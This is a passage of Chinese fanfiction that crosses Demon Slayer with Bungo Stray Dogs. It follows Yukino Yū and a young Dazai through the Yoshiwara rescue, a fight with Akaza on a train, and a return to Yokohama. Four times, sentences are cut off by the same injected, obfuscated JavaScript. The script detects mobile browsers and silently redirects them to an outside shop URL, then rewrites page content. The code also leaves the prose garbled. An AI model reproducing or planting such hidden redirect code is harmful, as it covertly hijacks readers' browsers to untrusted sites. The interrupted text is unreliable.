“拜托您和太宰先生互送这里的幸存者离开吧!”炭治郎突然对着雪野夕说。 “哎?不需要我和你们一起去吗?”雪野夕愣住,毕竟对面可是上弦啊。 “喂喂,可别太小看我们鬼杀队啊!”宇髄天元一马当先,头也不回地往里走,只是用空着的手给她比了个手势。 “比起斩杀恶鬼,救下活着的人也同样重要!”炭治郎的声音很坚定,“不如说,我们鬼杀队就是为了保护世人而战斗。” 如果一味地追求强大而不顾别人的生命,那才是违背了鬼杀队创立的初衷。 “我知道了。”在这样坚定的眼神下,雪野夕无法拒绝对方的请求。 “何况让您去与鬼交战,如果被上位鬼发现,一定会为您带来困扰的吧。”炭治郎挠挠头,“总之,我该去战斗了!” 双方再次兵分两路,由宇髄天元带领三小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509431|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只大摇大摆地进入了京极屋,雪野夕和太宰治则绕后来到了偏远地方,那里有一处破败的小木屋,里面瑟瑟发抖的一群人正是被炭治郎指引后提前躲过来避难的。 其中就包括京极屋的老板,三津。 “快跟我来。”雪野夕清点好人数,与街后的隐汇合,顺利带领一行人出逃。 而等他们彻底离开了游郭,在此地等候多时的炎柱炼狱杏寿郎和蛇柱伊黑小芭内也早已跃跃欲试。 等他们也在夜色掩映中极快地掠过繁华的游郭,直奔京极屋而去,雪野夕才轻轻吐出一口气。 “我有时有些看不懂鬼杀队。”她手里还捏着绷带,“明明是个民间组织……有时候行事风格也出乎我的意料,但意外地让人喜欢。” “……我也是。”身边的太宰治接话,“一个充满信念的组织,每个人心中都有明确的目标,相信没有人不会被吸引吧。” “居然意外的坦率哦,太宰。” “夕酱是因为什么才对鬼杀队产生感情呢?”太宰治像只猫猫一样蹲了下去,但仍然没有放开她的手,甚至将一只手换成了两只手拉住她的右手,看上去下一秒就要喵喵叫了。 “我一开始并没有接触到鬼杀队,对他们的了解的也全部来自于栗子酱所讲述的【剧情】。”雪野夕纠结了一下,最终还是顺从自己的心愿,去揉了揉他的脸。 他的脸上还有最后一点未消退下去的婴儿肥,摸起来手感很好。 雪地阳光下心中悸动的感觉,她从未忘记。 但太宰治呢……他应该不是一个会喜欢上别人,并且暴露出自己热情的人? “是因为见识到严苛的【武士道精神】了吗?”被摸得语调含糊的太宰治用上目线看着她,眼睛瞪得圆溜溜,发丝也在夜风的吹拂下偷溜进她手心。 啊,糟糕,还没来得及和对方谈恋爱,想要恋爱的对象就已经变成小猫蹲在她脚边,任人宰割了。 如果关系再亲密一点,他会不会也像猫一样翻出肚皮随便摸啊? “一开始我确实不理解啦!”她一边在脑海里自动给对方加上猫耳朵,一边在心里感叹老师黑死牟与双胞胎弟弟继国缘一的往事。 在作为人类的继国岩胜叛逃后,继国缘一被其他柱级剑士要求以死谢罪,得当时主公的力保才得以保全性命,余生也以斩杀鬼为人生目标。 这种做法在以前的雪野夕眼里不免有些迂腐,继国缘一是如此强大,为何鬼杀队众人反而要求他以死谢罪呢? 明明活下去才更有希望啊! 但也许她大错特错了,鬼杀队能从战国时代延续至今,即使武力全面落后与鬼,却有着鬼们无法理解的精神与信念。 柱是顶天立地的柱,弦是一触即断的弦。 “哎呀!”太宰治轻呼一声,唤回了她的思绪。 “抱歉——”雪野夕最先看见的就是他的脸侧被揪红的那一块,还有对方眼角那疑似眼泪的水光。 道歉只有一句,因为现在的太宰治,实在是……太可爱了! 她真的不能不管他怎么想,直接上吗? 31.过去时分 再次见到炭治郎他们,是在第二天的日落。 蝶屋里,他们每个人都稍稍有些挂彩,上弦之六是一对兄妹,哥哥妓夫太郎的血鬼术应用于人类还是会有些麻烦。 但在三个柱级剑士和三个拥有斩杀下弦经验的剑士面前,这些都不算什么。 “看到上弦之六死亡,夕酱似乎非常感慨。”太宰治将下一个任务地点圈出来,交给了木机上待命的鎹鸦。 “因为……虽然有罪,但是他们的悲剧也是真的。”我回想起从栗子酱那里得到的剧情。 在这个时代下,被鬼伤害的人类加入了鬼杀队,成为猎杀鬼的人;被人类加害的人则转向无惨,成为鬼的一员。 游郭,这个看似纸醉金迷的地方,它告诉女孩子们,只要通过努力就能当上花魁,功成名就改变自己的命运。 但命运的礼物实在是早就标好了价格。 ——【雪野夕の日记,6月23日。】 在雪野夕看来,游郭其实才是那个不应该存在的地方。 可即使是为了保护他人性命的鬼杀队剑士们,也没有对此地提出过什么质疑。 游郭的存在已经深入人心,即使每天都会有无辜的女孩子被迫或者是被自愿地进入这里,人们大概也会觉得没什么奇怪的。 上六兄妹,就是一辈子也没能离开游郭。 在濒死之际遇到童磨,就已经是这对兄妹最好的选择了。 “真是人生多艰。”雪野夕伸出一根手指逗桌子上的栗子酱玩,“我有时候也在想……自己是不是在无病呻吟呢?” “世界上比我更加悲惨的人太多了,也许我抱怨的东西,于他们而言是可望不可及的。” 太宰治好像有点惊奇,“没想到夕酱也会发出这种感慨呢。” “在我面前抱怨什么的,我会误会我们之间的关系有更进一步哦。” “难道不可以更进一步吗?”雪野夕冷不丁地凑近了他,“我……” “砰——” 太宰治因为起身过于迅速,居然狼狈地带倒了木几上堆叠的资料。 纸张飞舞发出的细碎哗啦声一时间像是给屋内按了静音键,雪野夕悻悻然退回原位—— 这种时候要是像前几天一样直接去拉他的手,他应该会落荒而逃吧…… 想想就好有趣哦。 “跟我一起去隔壁县看看怎么样?”不再讨论上一个话题,雪野夕动作自然地捡起写满汇报的纸张一一归类,“这次可以选择火车哦。” 带着太宰治无法使用血鬼术来赶路,因此地图探索程度一直很慢。 万一遇到老师黑死牟……也不知道谁会先完蛋。 为了方便,雪野夕选择了晚上的火车。 这个时代的火车速度不算快,窗外划过消逝的景色,反而别有一番意趣。 太宰治谨慎地坐在雪野夕对面,少见地选择了一言不发。 被迫面对猫应激的雪野夕有点苦恼——如果想要跟异性有更进一步的发展,应该怎么选择循序渐进呢? 她好像还是恋爱番里的角色,这么一想岂不是完全输了吗?! 仔细想想,太宰治应该比她小几岁…… 年下、年下有点难搞啊! 面对面的两个人不知为何,同时叹了一口气。 列车行动间发出的碰撞声在逐渐黑下去的夜里清晰起来,车厢内渐渐没有人再开口说话,一种突兀的安静包裹了下来—— 不对劲。 太宰治猛然抬眼向雪野夕看去,却发现对方竟然已经趴在桌子上陷入了沉睡。 小小一团的栗子酱就被拢在她脸颊和胳膊之间的缝隙里,小脑袋也是一低一低的。 ……是血鬼术吗? 太宰治伸手,触碰到了栗子酱,同时手背也不可避免地贴上了雪野夕的脸—— “夕酱!”月白色长发、宝石蓝双眸的少女悄悄凑过来,“你没事吧?为什么要把小提琴拉出……” 拉出一种反复用锯子锯掉别人脖子的感觉啊! 嗯?看到这一幕的太宰治怔愣一瞬就回过神来,这个血鬼术的效果是让别人陷入幻境? 而且这个幻境还跟自身经历相关。 这种东西,破除起来可是最简单的。 但看到雪野小姐过去的机会可不多,几乎没有犹豫,他就选择了顺势看下去。 “瑚羽小姐在看你了!”顶着小提琴教师瑚羽的死亡视线,源真理子赶紧提醒她,“你小心……” “夕小姐!天呐,我没听错吧?”年轻的小提琴老师毫不客气地走下台阶,“您是在剑道课上砍多了木桩,现在要把这股力气带到小提琴上了?” 严肃的教师走近她,手中拿着一把薄薄的戒尺,没有丝毫手软地在雪野夕手心抽了三下。 正正好好的力度,很痛却不会影响继续练琴。 等下了课,源真理子自然地凑过来跟她搭话,“没事吧?今天上课怎么会走神?你明明知道瑚羽小姐那么严厉……” 想到刚刚好友的眼神应该是盯着阳台下的一个方向,她也朝那边看了过去,“那边有什么呀?” 楼下是排球部的队员们,她扫了一圈,看到了神宫寺野明的身影。 他黑色的短发在阳光下闪闪发光,认真盯着排球的模样也很帅气。 源真理子忍不住戳戳好朋友的胳膊,“我都说过啦,别把黑毛男当猫吃代餐啊!” “?”雪野夕回过神来,“才没有!刚刚明明是……” 明明是她已经不耐烦了,作者已经又断更了一星期,天知道她要坐在充满了花粉的花园里拉几天小提琴! 更何况神宫寺野明又如何,他曾经用非常“委婉”的语调对她说:“雪野小姐,您的父亲是个有品位的收藏家,您的母亲也在音乐方面有很高的建树——” “而您每天只想着如何练习那些仪式性的佩刀,在我看来,作为女孩子的您实在太粗鲁了。” 什么啊!刚刚想锯的就是他的脖子好吗?她母亲和父亲对音乐与收藏确实有着偏爱,但这并不意味着她就要与他们一模一样。 就连以雪野夕视角进行回忆的太宰治都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519836|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉自己胸口燃起了一团郁闷的火焰。 她喜欢学习剑术,幻想着自己有一天能使出出其不意的剑招,可是在这个世界里,困于人设的雪野夕是个有点冷漠的傲慢小姐,她必须精通音乐,仪态优雅,懂得文学,擅长插花…… 很好,没有一个是她真正喜欢干的。 雪野夕冷漠地想。 如果不是因为选了剑道之后就被老师呵斥“这不符合你淑女的礼仪”,她真想一口气把弓道、马术、射击都学了。 因为除了她意外,她无需维持人设,或者是说根本没有察觉到自己被困于笼中的同学们,他们看上去每天都在做“顺应心意”的选择。 这种无从倾诉的感觉让她整日不快。 向源真理子告别后,她拎着同为制服一部分的皮包走路回家——原本家中安排了司机,但好在这一部分没有被强制执行,因此她可以选择自己回去。 否则她真的不想面对司机定时定点说相似问候的感觉。 那会让她以为自己在面对什么伪人。 家中空无一人,同样拒绝了保姆的雪野夕在沙发上坐下,看着窗外的夕阳发呆。 客厅里有整整一面墙的书籍,不少空出来的地方还摆放了数种名酒,像是在等待主人品尝,玄关处挂着一把细长的武士刀,它沉默的姿态与远处封闭式阳台上的钢琴遥遥相对。 一直安静的太宰治也放轻了呼吸,虽然根本没人发现过他。 只是为什么,家中的镜子格外地多? 直到雪野夕光脚走近了玄关,拿起了那把武士刀—— 头脑昏沉,脖颈僵硬,眼前是雪白光亮的天花板。 这是太宰治再次醒过来的第一印象。 结合常时,这里应该是……浴缸里? 从鱼缸中爬出来的少女沉默着走向洗漱台,看着镜中的自己。 毫无改变,无论是漆黑的长发,或是苍绿叶的眼睛,还是身上穿着的雪白睡裙。 ……甚至是脖颈上用武士刀切开的口子也消失不见了。 血液,碎肉,剧痛的感觉,濒临死亡时的缺氧……她捂住了自己的脖子,皮肤温热,毫无伤痕。 半抽出的武士刀就被扔在浴缸旁边,光亮如新,刚才她起身时并没有看它一眼。 雪野夕长久地盯着镜子里的自己,最终叹了口气。 但下一刻,镜中的“雪野夕”突然向前倾身,直到面庞都快要冲破镜子—— “这么没用,还不如彻底死了,对吧?” 惊醒—— 列车上,雪野夕面无表情地捏紧了太宰治的手。 “夕酱……醒了吗?”随着她的醒来一同恢复的太宰治极快地改变了主意,并不打算说出他窥探到了什么。 “啊,抱歉。”她很快放下手,看到他的手被她捏红了一片,“我刚刚是自己拉住你的手的吗?” 黑猫代餐无辜地眨眨眼睛,并不想承认是自己把手塞进去的。 “我大概知道现在是怎么回事了。”雪野夕站起来,“你在此地不要走动,我保护你。” 32.来打赌吧 听到上弦之三猗窝座的声音时,我很惊讶。 想到了一个我理解又不理解的人……很难评。 听见他轻蔑地问:“鬼杀队呢?怎么鬼杀队的人都不在?” 我的脑子里下意识掠过了太宰治那一桌子摆放杂乱的情报,其中最显眼的是…… 你小子!早就知道要打上弦之三了是吧! ——【雪野夕の日记,6月30日。】 “虽然对女人和孩子没兴趣。”猗窝座纹路特殊的脸庞在夜色下格外妖异,“但我听一个讨厌鬼说,你就是黑死牟的继子?” 他上上下下地打量了雪野夕一会儿,最终摆好了姿势,“我可是发誓过,早晚有一天要杀了那家伙呢,不过我不会将你怎么样的,和我战斗吧,如何呢?” 雪野夕只觉得在他摆好姿势的那一刻,似乎有什么音乐响了起来。 果然,这是重要剧情节点的重要人物的专属BGM。 “好啊。”她握住了自己一直以来随身携带的手杖,从中抽出一把细长的武士刀,很熟悉的模样,正是她以前用于自刎的那把。 早在黑死牟要求她以血肉打造一把鬼刀前,她就已经将它铸造了出来,只是平日的战斗都用不到罢了。 正好,因为刚刚的经历,她当前非常不爽。 “【破坏杀·空式】!”猗窝座并不打算竭尽全力,一来是因为雪野夕看上去是个少女,二来鬼与鬼的争斗毫无意义,他们之间的对战邀请由他发起,即使对方失败,他也不会吞噬她。 “【月之呼吸·一之型·暗月·宵之宫】!”雪野夕也并不打算试探对方,猗窝座身为上弦之三,他的实力和潜能就连她的老师黑死牟也非常看好,在面对这种经验远胜她的武者时,一切的试探与迂回都将失去意义。 速度快到看不清的居合斩将空式拦下,空气中仍然密布着月之呼吸所产生的数不清的圆形月刃,无形无相,如冰凌般划过猗窝座的皮肤。 随手一击被对手挡下,甚至还受到了细微的伤害,猗窝座完全没有生气,反而咧开嘴笑了出来,眼睛里也多了些许真切的愉快—— “这一击居然真的能在我的皮肤上留下痕迹!好!真不愧是上弦之一的继子!” “那接下来——”他眼角眉梢的笑意不曾退却,“【破坏杀·乱式】!” “【月之呼吸·五之型·月魄灾涡】!” 细小的圆形月刃不断地切割着乱式,雪野夕必须双手握刀才能应对,她并非擅长力量的类型,在近日和鬼杀队的对战中,与岩柱悲鸣屿行冥的战斗是让她最为苦手的。 “纯粹力量的碰撞,你就会落在下风呢。”看向因为挡住他全部攻击而双手虎口微微崩裂的雪野夕,猗窝座开口,“果然,即使使用同样的呼吸法,你也只是他的继子而已。” 至少现在,她远远不如她的老师。 雪野夕当然也明白,纯粹而极致的力量是她的弱项,但以她的血鬼术而言,力量的碰撞反而是不必要的。 甚至于她需要的是扬长避短,发挥自己更加擅长的那一面才行。 老师曾经说过,月之呼吸是一门真正的、杀人的艺术。 她的力量不足,但她同样见识过别的呼吸法—— 霞之呼吸的飘渺不定、蛇之呼吸的蜿蜒曲折、虫之呼吸的灵活多变、花之呼吸的挥舞突刺、恋之呼吸的柔和坚韧、音之呼吸的轰鸣节奏、水之呼吸的平稳包容…… 还有她不太擅长的风呼、炎呼和完全无法胜任的岩呼…… 呼吸法各有所长,重要的是使用他们的剑士。 “继续吧!”她深深的呼气吸气,眼前迅速进入了通透世界—— “【月之呼吸·八之型·月龙轮尾】!” “【月之呼吸·七之型·厄镜·月映】!” “【月之呼吸·六之型·长夜孤月·无间】!” 面对雪野夕连续释放的三种剑技,猗窝座丝毫没有慌张,以灭式挡下横劈而至的月龙轮尾,再顺势向前使出【脚式·流闪群光】将七之型的连斩一一破坏,接下来就是他曾与黑死牟对招时见过的六之型集中连斩的剑型—— 多年来浸泡在危险之中的身体突然寒毛卓竖,他下意识伸手阻挡,右臂却突然传来剧痛。 一柄细长的武士刀穿透了他的小臂,猩红的血液正顺着皮肉与刀刃不断低落。 ……原来如此,猗窝座感受着这份疼痛,终于忍不住大笑起来,“太棒了!” “力量不够,连斩的效果并不好,所以将连战变为连续突刺吗?” “结合血鬼术,将刀身突然送到我面前,所谓前面的剑型,原来只是在让我放松警惕啊!” 真根本不算什么,雪野夕在心里想,我还没有下毒呢。 猗窝座甩了下手臂,想等待伤势恢复继续进攻,但令他更加诧异的是,那种受伤后的无力感居然好长一会儿时间都没有消失,反而越来越强烈,直到某个时刻,危险缠上心脏,噗通、噗通…… 砰! 他猛然睁大眼睛,心口出现一个血洞,而在伤口边缘,透明的月刃仍在疯狂切割着周围的一切。 “上百下突刺,也不是真正的目标吗?”猗窝座放轻了声音,“瞄准我的右臂,而不是其他要害,是在赌我不会在意这一刀的伤害,从而让血鬼术发挥作用?” 是的,即使雪野夕的血鬼术可以操纵空间,但在拥有超乎想象战斗直觉的猗窝座面前仍然很难奏效,顶多是帮助她减少受伤的可能罢了。 可雪野夕要的不是自己毫发无损,她想要的是,就算是上弦之三的猗窝座,也会在与她的战斗中面临不利。 猗窝座看上去还是不太在意胸口的伤,“真不愧是无惨大人!如果不是他将你变成了鬼,你如今怎么会变得如此善战呢?” 这个话唠!为什么老是说一些她不爱听的?雪野夕再次捏紧了手中的刀,感受到了所谓“同事”的难缠。 “抱歉抱歉。”他握紧双圈,胸口的血液像喷泉一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539181|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样激射而出,月刃消散,皮肉恢复,“我居然将你看作那些弱小的家伙,那么接下来……” “不可以哦。”一个很有少年气的嗓音打断他的话,缠着绷带的太宰治从列车里走了下来,身侧还跟着双目无神的下弦之一,魇梦。 没有理会脸色不悦的黑死牟,他上上下下打量了一番雪野夕,“不愧是夕酱,好厉害哦!” “你是怎么做到让这家伙乖乖听话的?”雪野夕也不再和猗窝座对峙,一个闪身就出现在太宰治旁边。 孩子,你别太浪了,待会儿可是要被爆头的哦。 “操纵心灵与梦境,在这方面是我赢了呢。”太宰治微微抬了下下巴,说起这事还有些眉飞色舞的模样,他头顶上的栗子酱也骄傲地挺起了胸膛。 哼哼,没有它在,只凭太宰可进不了魇梦的梦里。 得意洋洋的翘尾巴小黑猫并没有停顿,反而是看向了不远处杀气腾腾的猗窝座,“很好奇吧?为什么我能控制这家伙,现在整列火车的人可都脱离梦境了哦。” 猗窝座确实很烦躁,操纵鬼,这本应该是无惨大人才能做到的事,但为什么眼前这个平平无奇,甚至是非常瘦弱的人类却做到了? 问出理由……再杀了他向无惨大人复命! 上位鬼可以通过下位鬼的眼睛获取信息,那么反之,也能通过操纵下位鬼的方式对上位鬼造成伤害。 太宰治嘴角的笑容很无辜,眼睛却比远处的寂夜还要深沉。 魇梦毕竟只是十二鬼月中的下弦,将他选为“污染”鬼舞辻无惨的棋子,是不是不太保险呢? 正好眼前就有一只身为上弦之三的鬼啊。 “要打个赌吗?尝试一下你所谓的‘强大’,是否在心灵上也没有丝毫缺憾。” 太宰治毫无恐惧地向着猗窝座走去,甚至露出的一只眼睛都带着黑森森的笑意,嘴角的弧度就像是美丽的面具。 彼此之间的距离在一步步拉进,脚步悄无声息,猗窝座却觉得,那一步步像是踩在他的心上。 ……不对,脚步声分明来自于他的身后! “真正的强大,不在于武技的高低,而在于心灵。” 脑海中划过一句突兀至极的话语,却微妙地与眼前这个少年重合,直到视线再次交汇—— “狛治先生!” “狛……是保护神社的狛犬吗?” “要……正直地活下去啊。” 这些是什么东西?是什么在他脑海里嗡嗡作响?是谁在他耳边絮语着毫无根据的话语? 纷乱的色块来回在视野里搅动,嘈杂的声音于颅脑中源源不断,东方的红日即将升起。 是在什么时候?猗窝座有些茫然地想,难道说在对方提出赌约后对视的那几秒,他就已经输了吗? 调转身体,即使眼前纷杂到无法看清物体,双脚仍然能辨别最近的树林在什么地方。 天亮了,快躲起来……他要,他要、去找无惨大人,他要回去复命了。 33.晨昏分晓 “我可是个好心人啊。” 在亲眼看着魇梦的身体在阳光下化为灰烬时,紧紧握住我的手的太宰治突然开口说:“弦吗?这种一触即断的东西……被用来取名,真是不吉的预兆呢。” 而且猗窝座的声音让他想起了一个讨厌的人。 就算如此,他也只是略施小计,让猗窝座提前开始恢复自己的记忆而已,至于那些超量的“污染”…… 就等到鬼舞辻无惨自己翻看的时候发现吧。 消散的魇梦,眼神直直地看向破晓的天空,他的心里会想着什么? 在最后的时刻,梦中的“无惨大人”也会给予他最真挚的认可吗? ——【雪野夕の日记,7月1日。】 “化作灰烬消失……是浪漫的逝去呢。”太宰治一瞬不瞬地紧盯着这一刻,口中吐出的字眼带上了扭曲的笑意,“想必他以前也夺取过很多生命吧?最后却能怀揣着这样平静的神情离开,真是奢侈啊!” “才不!”雪野夕紧急打断了他危险的想法,“对鬼来说,阳光灼烧带来的伤害比鬼杀队的刀砍在身上还要痛苦!” “哎?”他好像才从梦中回过神来,“这就是浪漫的代价吗?” 将视线回旋到两人交握的手上,太宰治的声音有一瞬间温柔得像是清晨林间的薄雾—— “那么雪野小姐岂不就像是大洋中的浮沫,也是稍微松懈就会消失了?” “你的比喻真是奇怪。”雪野夕看上去没什么不高兴的样子,“我们快走啦!我真的好困!” “好好——”大洋中的浮沫,即使诞生了阿弗洛狄忒,但泡沫终究是泡沫,当有一天想要将之紧握在手心,却发现她早就在阳光下消散。 “夕酱以前曾经说过,生命是无需意义的。”列车重新开动,太宰治拉开窗户旁的帘子,将阳光一丝不露地挡在窗外。 “那么现在,你也依旧这么想吗?” “是哦。”虽然知道他已经察觉到了什么,但雪野夕还是坚定地回答他,“虽然过着随波逐流的生活……但太宰觉得,我是谁?” “雪野小姐就是雪野小姐。”对于这点,太宰治无需犹豫什么,只需要说出自己心中唯一的答案就好了。 “我也是这么认为哦。”雪野夕“自恋”地点头,“我就是我自己,不需要别人的认可或是否定,即使想要去完成什么目的,也不会改变我自己。” 火车上的人来人往让太宰治无法说出心里话,但在这一刻,也许他是羡慕的。 无论是织田作的坚定还是雪野小姐的自信,他都是有在真心喜爱并且祝福着的啊。 “所以,无需害怕什么哦。”一双手突然摸了摸他的头发,“因为太宰同样如此,不管外界如何,都不会过分改变,这种特质很吸引人呢。” “哎?吸引人?” “吸引我算不算?”雪野夕照旧去戳戳他的脸颊,这个年纪的男生脸侧还有一点点婴儿肥,手感很好,就是太宰治太瘦了,自下而上仰视她时总让她想到以前偷偷喂过的猫咪。 “嗯……虽然我现在不能算是人?” 太宰治显然倒吸了一口气,像是没想到她居然就这样说了出来。 ……地点还是在熙熙攘攘的火车上。 “不可以吗?”雪野夕一直觉得对太宰治打直球后对方的反应都很好玩,尤其是现在她都说到了再说下去就会被对方察觉出什么的地步—— “可我是第一次见到太宰君,就对你很有好感哦。” “那、那个……雪野小姐。”代餐黑猫已经慌乱到了一种口不择言的程度,“不、夕酱,这个待会儿再说好吗?” 准备进一步发表直球宣言的雪野夕哼哼两声向后靠去,“这已经是第二次了哦,太宰君。” 太宰君,听起来像是在回应他称呼的“雪野小姐”。 什么嘛,太宰治难得有了点十几岁少年的懊恼,虽然脑子里的记忆和经验,远超他现在这个年纪,但记忆里却没有雪野小姐啊。 那个与雪野小姐第一次见面的、未来的自己,居然这么直白吗? ……还是说其实是雪野小姐太直白了。 “那么,雪野小姐是怎么离开自己的世界的?”他最终叹了一口气,像是猫耳朵都变成了飞机耳,小小声地问她,“这个可以告诉我吗?” “不可以哦。” “哎?好冷酷!” “第一次见面的时候我可是更冷酷的!” 说起这个,太宰治顿时有了斗嘴的心思,“可是那是夕酱跟未来的我第一次见面啊!我第一次见到夕酱的时候……” “你超级会演戏的!”他用压低的音量说出了夸张的语调,“说什么‘太宰治?!写《人间失格》那个?’明明就是装的啦!” “难道你没有看出来?后续那伙冲进店里的人你早就知道吧?而且还故意装作躲不开子弹的模样!” “……只是想看看夕酱的反应嘛。但是当时被按在地上真的超痛!夕酱就是故意的!” “那后来你没有放窃听器在我身上吗?” “……” 提起过去的经历,双方都一脸正气,看上去丝毫没有为自己的所作所为感到心虚。 直到火车到站,他们一起下了列车,站在这趟其实根本就没有目的地的旅途路上,上一秒分明是在严肃的对视,下一秒就忍不住双双笑起来。 “起码在这个时候,眼睛里的笑容是真的呢。”雪野夕的嘴角也还没有放下,“青花鱼君。” “……为什么在这种时候用这种称呼啊。” “因为很可爱?毕竟我们那里的【太宰治】也被叫做可恶的青花鱼哦。” “黏糊糊的!哪里可爱了!” “还是你比较恶毒,居然叫中也小蛞蝓。” “夕酱——”得寸进尺的猫忍不住拖长了语气,“怎么可以这么斥责猫咪呢?” “……我现在已经不会把黑毛男当猫咪代餐了哦。” “那就是以前有过吗?”太宰治十分会抓重点,“不会是神、宫、寺、野、明同学吧?” “雪野小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547134|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐在国文课上一定是满分吧?”猫咪继续恶意揣测,“毕竟在描写身边的异性方面,一点也不吝啬词汇呢。” “怎么会?”雪野夕下意识辩驳,“我都写,红叶姐,蜜璃、忍还有香奈惠我都有好好记录啊!” “才不要!如果夕酱不好好描写我一千字,我可是会生气的!” 既然事情已经告一段落,回横滨这件事就变得迫在眉睫起来。 当他们两个再次水淋淋地从鹤见川爬起来后,雪野夕真挚地问太宰治,“你有没有想过投诉一下城市管理部门,让他们治理一下鹤见川的水质污染问题。” 太宰治想了想自己当港口mafia首领的那条世界,发现即使是那个他好像也没思考过这个问题。 “可以哦。”他故作严肃地点点头,“我会想办法解决的。” “居然还在。”小青花鱼又看见了仍未散去的雾气,“还没结束……真是好烦。” 记忆里的龙头战争足足持续了八十八天,他们离开的时间差还不足以渡过这算得上漫长的一段时间。 “明明有在设置回程日期吧?”雪野夕吐槽这个不坦率的猫,“晚点回来,森先生应该会以为我们双双叛逃了?” “说到叛逃……织田作?”远处突然出现的红发青年打断了这人的念叨。 从杀手改行的织田作之助,看上去比上次见面还要窘迫一些,毕竟有五个孩子要养,又因为不杀人而失去了收入……战争期间能赚到的钱也比平日里更少。 “所以为什么不收下我的金条呢?”雪野夕一见面就问他,“这个我还有很多哦,而且来源于……一个不怎么样的家伙,用来养孩子绝对是物尽其用哦。” “……这么问好像有点太冒昧了,雪野。”织田作之助慢吞吞地回应,“本来我在构思我的小说……” “对哦。”一身湿漉漉的太宰治坏心眼地抖着衣服上的水,不过因为身边是老好人织田作和拥有空间能力的雪野夕,所以并没有被打,“织田作不如去一个能让你安心写小说的地方,怎么样?” 这一次,我不会再邀请你进入港口mafia。 “或者收下我的金子?”雪野夕对红发男妈妈很有好感,“毕竟织田先生不做辣咖喱的时候我也偶尔会去蹭饭?哎这么说来岂不就是给收养我的妈妈交伙食费?” “既然如此,也收养我吧织田作!”太宰治紧随其后,“我平时还会自己下厨……” “不要!” “不要!” 雪野夕和织田作之助同一时间双双反对。 雪野夕不想再尝到味道离奇的食物,织田作之助不想再面对用不富裕的家产维护厨房。 “我好好做饭的时候厨艺还不错啦。”被否定的太宰猫耳朵下垂。 果然……太宰治知道她很吃这一套吧。 “总之,去写小说吧,织田作。”猫猫像是小小地“哈”了她一下,换了个攻略对象,“我很期待读到你作品的那一天。” “当然,一定要先给我看!不可以是夕酱!” 34.捡芥川日 在一个风景不错的落日,织田作之助说他通过了武装侦探社的入社考核。 社长和核心社员都是旧相识,对他的加入反应良好,甚至是有点欣慰在里面;剩下的同事为人认真,听到他收养了五个孩子后纷纷表示佩服。 果然,以织田先生的性格来说,做什么应该都不会太失败? ……吐槽除外。 ——【雪野夕の日记,5月1日。】 “接到的第一份工作是帮助一位老夫人找到她丢失的猫。” 应雪野夕的要求,织田作之助正老实地讲述工作日常,“追了三条街道,最后还是……” “还是追上了?”雪野夕接话,“毕竟普通猫咪的身手应该比不过你。” “那倒没有。”红发青年慢吞吞地吃了一口咖喱,“我追错猫了。” 雪野夕:“……” 这件事情到底是怎么被他讲得好玩又不好玩的。 手机在此时振动了一下,屏幕亮起,显示有人发来了消息—— 太宰治:【位置信息】。 太宰治:速来。 雪野夕:? 难道是有什么炸弹需要处理?或者是最近中也出差,组织又遇到了什么强大的异能者? 脑海里匆匆闪过一番猜测,雪野夕只能向织田作之助告辞。 “好遗憾,这次又来不及吃你做的咖喱了。”她非常客套地表示。 “没关系,下次你来尝试,我一定给你最大的那一份。”织田作之助也非常诚恳地保证,“想吃多少都没关系。” “……哈哈,其实我只是随口一说,先走了。” 只想在临走前皮一下的雪野夕再次见识到了认真党的威力,对激辣咖喱依旧是敬谢不敏。 用帅气的响指赶到指定地点,四周黑漆漆的,连街灯都没有几个,即使是剩下的也大多数光芒暗淡,像是发光的灯泡外面罩了一层灰尘和油污。 脚下的路凹凸不平,远处隐约传来不太美妙的气味,以及些许零碎的叫骂声…… 这里是贫民窟? 雪野夕敏锐地察觉到了这一点。 不,这甚至不需要多么敏锐的直觉,在横滨这座特殊的城市,贫民窟、垃圾场、无时无刻的危险与数量庞大的孤儿群体简直就像是标志一样。 但由于异能者的存在,这些问题一直属于被搁置的那一部分。 